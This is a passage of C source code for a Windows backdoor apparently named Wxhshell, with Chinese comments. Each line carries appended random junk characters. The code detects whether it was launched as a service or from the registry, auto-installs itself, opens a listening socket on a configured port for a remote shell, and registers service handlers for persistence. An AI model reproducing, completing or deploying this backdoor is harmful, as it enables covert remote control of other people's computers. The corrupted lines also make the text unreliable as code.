DWORD BasePriority; |+~2sbM
ULONG UniqueProcessId; q;PzB4#
ULONG InheritedFromUniqueProcessId; 3D
dG$@
} PROCESS_BASIC_INFORMATION; v~cW:I
(4{9
QO
PROCNTQSIP NtQueryInformationProcess; FN`kSTm*0!
1CVaGD^r{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r3vj o(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =xet+;~ji
Zs|sPatV<
HANDLE hProcess; ,VsCRp
PROCESS_BASIC_INFORMATION pbi; 13kb~'+&r
z))[Lg
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6lAo`S\)eX
if(NULL == hInst ) return 0; )9Ojvp=#r:
:uDB3jN[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N,Bs% p#1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qM !q,Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j5^b~F%
M':.b+xN
if (!NtQueryInformationProcess) return 0; ZSt
ww{Z
B8Zd#.6]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ClZyQ=UAD
if(!hProcess) return 0; X}Z%@ tL
FRk_xxe"K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *{s[$}uQ
i~L7h=__
CloseHandle(hProcess); ]m>MB )9
N<(`+?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yuX0Y{:I
if(hProcess==NULL) return 0; {~h\;>
5&@ U T
HMODULE hMod; +0 |0X {v
char procName[255]; 2Hwf:S'
unsigned long cbNeeded; a8aqcDs>O
#8OqX*/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4O^1gw
r= aQS5
CloseHandle(hProcess); q~_jF$9SX
i=QhXCM
if(strstr(procName,"services")) return 1; // 以服务启动 iUB ni&B
U .(_n
return 0; // 注册表启动 r1atyK
} E/;YhFb[
\c}r6xOr
// 主模块 j=S"KVp9NF
int StartWxhshell(LPSTR lpCmdLine) wJkkc9Rh'(
{ 2]ljm]\l
SOCKET wsl; +]vl8, 4@
BOOL val=TRUE; iW~f
int port=0; vy?YA-
struct sockaddr_in door; e5KF ~0`
Sn&%epi
if(wscfg.ws_autoins) Install(); Y|nTc.A
X5[sw;rk
port=atoi(lpCmdLine); T9?_ `h
9`&D
if(port<=0) port=wscfg.ws_port; +JG"eh&J"H
^%JWc 3jZ
WSADATA data; tH(#nx8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b] V=wZ
o
_*I6O$/>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1Tr=*b %f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %b6wo?%*
door.sin_family = AF_INET; \_bX2Lg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3om-,gfZ
door.sin_port = htons(port); .R5z>:A
j(JI$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E}2[Pb)e
closesocket(wsl); h+(s/o?\
return 1; 7RJW
} B.#0kjA}
kGP?Jx\PkH
if(listen(wsl,2) == INVALID_SOCKET) { 6suc:rp";
closesocket(wsl); 7Y:s6 R|
return 1; k<H&4Z)d9
} @("AkYPj
Wxhshell(wsl); l !v#6#iq
WSACleanup(); v^G5
N)F
?VsZo6Z"
return 0; %xz02$k
sNVD"M,
} h+@t8Q;gGw
\gpKQt0
// 以NT服务方式启动 |\t_I~de
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0=&]!WRT
{ l/LUwDI{
DWORD status = 0; ;@hP*7Lm
DWORD specificError = 0xfffffff; r1]^#&V;MC
H'.eqZM
serviceStatus.dwServiceType = SERVICE_WIN32; w"|c;E1;_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >0oc=9H8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [^f`D%8o
serviceStatus.dwWin32ExitCode = 0; ps{(UYM=b
serviceStatus.dwServiceSpecificExitCode = 0; qc F{Kex"
serviceStatus.dwCheckPoint = 0; r_m&Jl@4
serviceStatus.dwWaitHint = 0; [:qX3"B
jo~vOu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U"]i.J1
if (hServiceStatusHandle==0) return; K<tg+(3
JnDR(s4(E
status = GetLastError(); add-]2`
if (status!=NO_ERROR) L6.R?4B
{ /o2eKx
serviceStatus.dwCurrentState = SERVICE_STOPPED; j;.&+.
serviceStatus.dwCheckPoint = 0; a\MJbBXv
serviceStatus.dwWaitHint = 0; :e;fs.C
serviceStatus.dwWin32ExitCode = status; I<U 1V<g
serviceStatus.dwServiceSpecificExitCode = specificError; Tw5BvB1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }s[/b"%y
return; ]\U'_G2]
} \Wk$>?+#@
[geY:v_B
serviceStatus.dwCurrentState = SERVICE_RUNNING; CiSG=obw
serviceStatus.dwCheckPoint = 0; xj<SnrrC]u
serviceStatus.dwWaitHint = 0; f
WXzK<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p\K5B,
} >smaR^m
I1,?qr"Zr
// 处理NT服务事件,比如:启动、停止 79DC]48M
VOID WINAPI NTServiceHandler(DWORD fdwControl) rIb{=';
{ :.,I4>b2
switch(fdwControl) j3><J
{ &AVi4zV
case SERVICE_CONTROL_STOP: ;D:v@I$I
serviceStatus.dwWin32ExitCode = 0; nj[6c
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4]GyuY
serviceStatus.dwCheckPoint = 0; K VCS(oN
serviceStatus.dwWaitHint = 0; "x11 YM{F
{ $&!U&uMt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g2I @j3
} :>k\uW
return; ilP&ctn6+c
case SERVICE_CONTROL_PAUSE: ,J~dER\%
serviceStatus.dwCurrentState = SERVICE_PAUSED; .\ZxwD|
break; :lAR;[WFS
case SERVICE_CONTROL_CONTINUE: (hoqLL\}k
serviceStatus.dwCurrentState = SERVICE_RUNNING; I}X8-WFB
break; u(R`}C?P'
case SERVICE_CONTROL_INTERROGATE: *))|ZE6jI
break; M<nn+vy`
}; ~xCy(dL^}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fu/c)D6u*m
} w#XJ!f6*_9
XV&